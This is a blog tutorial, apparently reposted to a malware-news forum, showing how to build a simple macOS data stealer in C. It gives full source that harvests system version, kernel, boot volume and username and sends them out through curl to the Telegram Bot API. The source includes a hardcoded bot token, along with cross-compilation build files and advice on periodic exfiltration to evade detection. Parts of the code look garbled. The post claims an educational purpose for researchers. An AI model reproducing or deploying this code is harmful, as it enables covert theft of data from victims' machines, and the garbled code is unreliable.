MacOS hacking part 1: stealing data via legit Telegram API. Simple C example

Introduction to Malware Binary Triage (IMBT) Course

Looking to level up your skills? Get 10% off using coupon code: MWNEWS10 for any flavor.

Enroll Now and Save 10%: Coupon Code MWNEWS10

Note: Affiliate link – your enrollment helps support this platform at no extra cost to you.

Hello, cybersecurity enthusiasts and white hackers!

malware

This article could be called something like: “Malware trick part 48” since this is the next post about the trick, but I decided to highlight a series of posts about malware for Apple/Mac at the request of my readers.

In the previous examples we created a simple Proof of Concept of using legit connections via Telegram Bot API, VirusTotal API and Discord Bot API for “stealing” simplest information from victim’s Windows machine.

What about MacOS systems? Nowadays, more and more targets of attackers are not only owners of Windows machines but also MacOS, Apple laptops is very popular.

practical example

The basic logic of our malware will be similar: sending system information via Telegram Bot API.

You don’t need to have an Apple MacBook to do this. For the simulation of MacOSX I used quickemu, for me it is worked perfectly:

malware

https://github.com/quickemu-project/quickemu

Run it:

quickemu --vm macos-sonoma.conf

malware

malware

malware

malware

And you can use all features, Xcode, iPhone Simulator (for example, iOS 18.4 in my case):

malware

malware

My project’s structure looks like there (spyware):

malware

First of all, we need to get system information. On MacOSX you can use command:

system_profiler SPSoftwareDataType

malware

As you can see, the response would contain detailed system info, including macOS version, kernel version etc.

So, we can parse it like this:

char command[] = "system_profiler SPSoftwareDataType 2>&1";
char buffer[BUFFER_SIZE];
FILE* pipe = popen(command, "r");

if (!pipe) {
perror(“Failed to open pipe!”);
return 1;
}


// system information
char systemVersion[BUFFER_SIZE] = {0};
char kernelVersion[BUFFER_SIZE] = {0};
char bootVol[BUFFER_SIZE] = {0};
char username[BUFFER_SIZE] = {0};
char computerName[BUFFER_SIZE] = {0};


// get buffer
while (fgets(buffer, sizeof(buffer), pipe) != NULL) {
// trim buffer
trimF(buffer);


// get system version
if (strstr(buffer, “System Version:”) != NULL) {
strcpy(systemVersion, buffer + strlen(“System Version:”) + 7);
}


// get kernel version
if (strstr(buffer, “Kernel Version:”) != NULL) {
strcpy(kernelVersion, buffer + strlen(“Kernel Version:”) + 7);
}


// get boot volume info
if (strstr(buffer, “Boot Volume:”) != NULL) {
strcpy(bootVol, buffer + strlen(“Boot Volume:”) + 7);
}


// get username
if (strstr(buffer, “User Name:”) != NULL) {
strcpy(username, buffer + strlen(“User Name:”) + 7);
}


// computer name
if (strstr(buffer, “Computer Name:”) != NULL) {
strcpy(computerName, buffer + strlen(“Computer Name:”) + 7);
}
}


// close
fclose(pipe);

We need helper function for remove newlines and carriage returns:

// trim function
void trimF(char* str) {
  char* pos;

// remove newlines
if ((pos = strchr(str, ‘\n’)) != NULL) {
*pos = ‘\0’;
}


// remove carriage returns
if ((pos = strchr(str, ‘\r’)) != NULL) {
*pos = ‘\0’;
}


char *token = strtok(pos, " \t\n\r");
if (token) {
strcpy(pos, token);
}
}

and main logic: send data via Telegram Bot API:

// function to send message via Telegram Bot API
int sendToTgBot(const char* message, const char* botToken, const char* chatId) {
  char command[1024];

// URL encode message for safe HTTP request
char encodedMessage[BUFFER_SIZE];
snprintf(encodedMessage, sizeof(encodedMessage), “"%s"”, message); // just for simplicity here


// build the curl command to send the message to Telegram
snprintf(command, sizeof(command),
“curl -s -X POST https://api.telegram.org/bot%s/sendMessage -d chat_id=%s -d text=%s”,
botToken, chatId, encodedMessage);


// execute the command
int result = system(command);
return result;
}

As you can see, once the system information is collected, it needs to be sent to the attacker. This is where the Telegram Bot API comes into play. Using curl, the attacker can send a POST request to the Telegram server:

curl -s -X POST "https://api.telegram.org/bot<YOUR_BOT_TOKEN>/sendMessage" --data-urlencode "chat_id=<YOUR_CHAT_ID>" --data-urlencode "text=<SYSTEM_INFO>"

So, full source code is looks like this (hack.c):

/*
 * hack.c
 * simple mac stealer
 * author @cocomelonc
 * https://cocomelonc.github.io/macos/2025/06/12/malware-mac-1.html
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFFER_SIZE 128


// trim function
void trimF(char* str) {
char* pos;


// remove newlines
if ((pos = strchr(str, ‘\n’)) != NULL) {
*pos = ‘\0’;
}


// remove carriage returns
if ((pos = strchr(str, ‘\r’)) != NULL) {
*pos = ‘\0’;
}


char *token = strtok(pos, " \t\n\r");
if (token) {
strcpy(pos, token);
}
}


// function to send message via Telegram Bot API
int sendToTgBot(const char* message, const char* botToken, const char* chatId) {
char command[1024];


// URL encode message for safe HTTP request
char encodedMessage[BUFFER_SIZE];
snprintf(encodedMessage, sizeof(encodedMessage), “"%s"”, message); // just for simplicity here


// build the curl command to send the message to Telegram
snprintf(command, sizeof(command),
“curl -s -X POST https://api.telegram.org/bot%s/sendMessage --data-urlencode chat_id=%s --data-urlencode text=%s”,
botToken, chatId, encodedMessage);


// execute the command
int result = system(command);
return result;
}


int main() {
char command = “system_profiler SPSoftwareDataType 2>&1”;
char buffer[BUFFER_SIZE];
FILE* pipe = popen(command, “r”);


if (!pipe) {
perror(“failed to open pipe!”);
return 1;
}


// system information
char systemVersion[BUFFER_SIZE] = {0};
char kernelVersion[BUFFER_SIZE] = {0};
char bootVol[BUFFER_SIZE] = {0};
char username[BUFFER_SIZE] = {0};
char computerName[BUFFER_SIZE] = {0};


// get buffer
while (fgets(buffer, sizeof(buffer), pipe) != NULL) {
// trim buffer
trimF(buffer);

// get system version
if (strstr(buffer, "System Version:") != NULL) {
  strcpy(systemVersion, buffer + strlen("System Version:") + 7);
}

// get kernel version
if (strstr(buffer, "Kernel Version:") != NULL) {
  strcpy(kernelVersion, buffer + strlen("Kernel Version:") + 7);
}

// get boot volume info
if (strstr(buffer, "Boot Volume:") != NULL) {
  strcpy(bootVol, buffer + strlen("Boot Volume:") + 7);
}

// get username
if (strstr(buffer, "User Name:") != NULL) {
  strcpy(username, buffer + strlen("User Name:") + 7);
}

}
// close
fclose(pipe);
// trim all values before sending
trimF(systemVersion);
trimF(kernelVersion);
trimF(bootVol);
trimF(username);
// construct the message to be sent to Telegram
char systemInfo[1024];
snprintf(systemInfo, sizeof(systemInfo),
“System Version: %s\nKernel Version: %s\nBoot Volume: %s\nUsername: %s”,
systemVersion, kernelVersion, bootVol, username);
// Telegram Bot details
const char* botToken = “7725786727:AAEuylKfQgTg5RBMeXwyk9qKhcV5kULP_po”; // please, replace with your bot token
const char* chatId = “5547299598”; // replace with your chat ID
// send system information to Telegram
int result = sendToTgBot(systemInfo, botToken, chatId);
if (result == 0) {
printf(“system info successfully sent to Telegram\n”);
} else {
printf(“failed to send system info to Telegram\n”);
}
return 0;
}

demo

Let’s go to see everything in action. First of all we need to compile our stealer. For this reason I used:

malware

https://github.com/shepherdjerred/macos-cross-compiler

This project is really useful, you can cross-compile your code on Linux for MacOS.

As I wrote before based on the structure of our project, I used the following files:

Dockerfile

# use the macOS cross-compiler image as the base
FROM ghcr.io/shepherdjerred/macos-cross-compiler:latest

update package list and install required packages


RUN apt-get update &&
apt-get install -y
curl
pkg-config
libssl-dev
gcc-mingw-w64
clang
cmake
make
zlib1g-dev

copy macOS project code into the container


COPY ./projects /app

set the working directory


WORKDIR /app
RUN chmod +x /app/hack_compiler/target/release/hack_compiler

execute the hack_compiler script and keep the container alive


CMD [“/bin/bash”, “-c”, “/app/hack_compiler/target/release/hack_compiler && tail -f /dev/null”]

and docker-compose.yml

networks:
  mac_net:

services:
stealer:
build:
context: ./stealer
volumes:
- ./stealer/projects:/app
working_dir: /app
networks:
- mac_net

What is the hack_compiler?

For compilation I wrote a simple script in rust:

use std::io;
use std::process::Command;

fn compile_project() -> io::Result<()> {
println!(“compiling the project…”);
let output = Command::new(“x86_64-apple-darwin24-g++”)
.arg(“/app/hack_stealer/hack.c”)
.arg(“-o”)
.arg(“/app/hack_stealer/hack”)
.arg(“-static-libgcc”)
.arg(“-static-libstdc++”)
.arg(“-O3”)
.output()?;
if !output.status.success() {
return Err(io::Error::new(io::ErrorKind::Other, “hack project compilation failed”));
}
println!(“hack project successfully compiled :)”);
Ok(())
}


fn main() {
println!(“starting all…”);
if let Err(e) = compile_project() {
eprintln!(“{}”, e);
std::thread::sleep(std::time::Duration::from_secs(2));
return;
}
println!(“process completed successfully!”);
}

As you can see, the logic is pretty simple. Used x86_64-apple-darwin24-g++ for cross-compilation, then if everything is ok, just print:

hack project successfully compiled :)
process completed successfully!

Ok, so, start our docker logic for compilation. Run:

docker compose build

malware

then:

docker compose up -d
docker compose ps
docker compose logs -f

malware
malware

It’s looks like everything succsessfully compiled! =^..^=

Then copy compiled binary hack from container to linux:

malware
malware

for checking correctness of binary format, run:

file hack

malware

As you can see, this binary file is Mac-O 64-bit executable.

Note: perhaps you can do this compilation logic without Rust by simply running a cross compiler, but I haven’t checked

Run our victim’s MacOS VM:

malware
malware
malware

copy hack to ~/Desktop:

malware

and run:

./hack

malware
malware
malware

Everything worked as expected, perfectly! =^..^=

Of course, in real attacks, the attacker can also configure the our program to send updates about the system regularly. For example, the malicious code can be configured to send information every few hours.

For example, the malware could be set to ping the Telegram bot every 12 hours to exfiltrate updated system information. This makes it harder to detect because the data is being transferred over trusted channels (Telegram).

Maybe i will continue this series of posts about macOS, for example l can write something about process injection and malware persistence methods.

I hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

Malware development trick 40: Stealing data via legit Telegram API. Simple C example.
https://github.com/quickemu-project/quickemu
https://github.com/shepherdjerred/macos-cross-compiler
https://github.com/tpoechtrager/osxcross
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Article Link: MacOS hacking part 1: stealing data via legit Telegram API. Simple C example - cocomelonc

1 post - 1 participant

Read full topic



Malware Analysis, News and Indicators - Latest topics
Next Post Previous Post
No Comment
Add Comment
comment url